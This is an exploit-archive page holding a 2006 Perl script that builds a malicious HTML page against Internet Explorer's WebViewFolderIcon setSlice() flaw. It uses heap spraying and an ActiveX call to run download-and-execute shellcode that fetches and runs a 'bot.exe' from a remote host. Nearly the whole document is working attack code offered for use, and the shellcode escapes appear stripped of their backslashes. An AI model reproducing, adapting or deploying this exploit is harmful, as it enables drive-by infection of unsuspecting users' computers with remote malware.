[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Internet Explorer WebViewFolderIcon setSlice() Exploit (pl)
# Published : 2006-09-29
# Author : YAG KOHHA
# Previous Title : MS Internet Explorer WebViewFolderIcon setSlice() Exploit (html)
# Next Title : MS Internet Explorer WebViewFolderIcon setSlice() Overflow Exploit 


#!/usr/bin/perl

#
# Microsoft Internet Explorer WebViewFolderIcon setSlice() D0wnLoad & Exec POC
#
# Author: Vampyroteuthis Infernalis <skyhole [at] gmail.com>
# Greetz: H D Moor, Dark Eagle, Jamikazu
#
#


use strict;

my $sco =
"xEBx54x8Bx75x3Cx8Bx74x35x78x03xF5x56x8Bx76x20x03".
"xF5x33xC9x49x41xADx33xDBx36x0FxBEx14x28x38xF2x74".
"x08xC1xCBx0Dx03xDAx40xEBxEFx3BxDFx75xE7x5Ex8Bx5E".
"x24x03xDDx66x8Bx0Cx4Bx8Bx5Ex1Cx03xDDx8Bx04x8Bx03".
"xC5xC3x75x72x6Cx6Dx6Fx6Ex2Ex64x6Cx6Cx00x43x3Ax5C".
"x55x2ex65x78x65x00x33xC0x64x03x40x30x78x0Cx8Bx40".
"x0Cx8Bx70x1CxADx8Bx40x08xEBx09x8Bx40x34x8Dx40x7C".
"x8Bx40x3Cx95xBFx8Ex4Ex0ExECxE8x84xFFxFFxFFx83xEC".
"x04x83x2Cx24x3CxFFxD0x95x50xBFx36x1Ax2Fx70xE8x6F".
"xFFxFFxFFx8Bx54x24xFCx8Dx52xBAx33xDBx53x53x52xEB".
"x24x53xFFxD0x5DxBFx98xFEx8Ax0ExE8x53xFFxFFxFFx83".
"xECx04x83x2Cx24x62xFFxD0xBFx7ExD8xE2x73xE8x40xFF".
"xFFxFFx52xFFxD0xE8xD7xFFxFFxFF".
"http://dedicated.com/bot.exe";

my $war_code= convert_sco($sco);

my @exploit_body=<<FOOKER;
<HTML>
<BODY>
<SCRIPT language="javascript">

	var heapSprayToAddress = 0x05050505;
	var infernalis_ = unescape("%u9090%u9090$war_code");
	var heapBlockSize = 0x400000;
	var payLoadSize = infernalis_.length * 2;
	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
	var spraySlide = unescape("%u0505%u0505");
	spraySlide = getSpraySlide(spraySlide,spraySlideSize);
	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
	memory = new Array();

	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + infernalis_;
	}

   	for ( i = 0 ; i < 128 ; i++)
	{
		try{
			var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
			tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
		}catch(e){}
	}

	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2<spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide;
	}

</SCRIPT>

</BODY>
</HTML>

FOOKER

open (IE_VML, ">", "exploit.html");

print IE_VML @exploit_body;

close IE_VML;

sub convert_sco {
	my $data = shift;
	my $mode = shift() || 'LE';
	my $code = '';
	
	my $idx = 0;
	
	if (length($data) % 2 != 0) {
		$data .= substr($data, -1, 1);
	}
	
	while ($idx < length($data) - 1) {
		my $c1 = ord(substr($data, $idx, 1));
		my $c2 = ord(substr($data, $idx+1, 1));	
		if ($mode eq 'LE') {
			$code .= sprintf('%%u%.2x%.2x', $c2, $c1);	
		} else {
			$code .= sprintf('%%u%.2x%.2x', $c1, $c2);	
		}
		$idx += 2;
	}
	
	return $code;
}

# www.Syue.com [2006-09-29]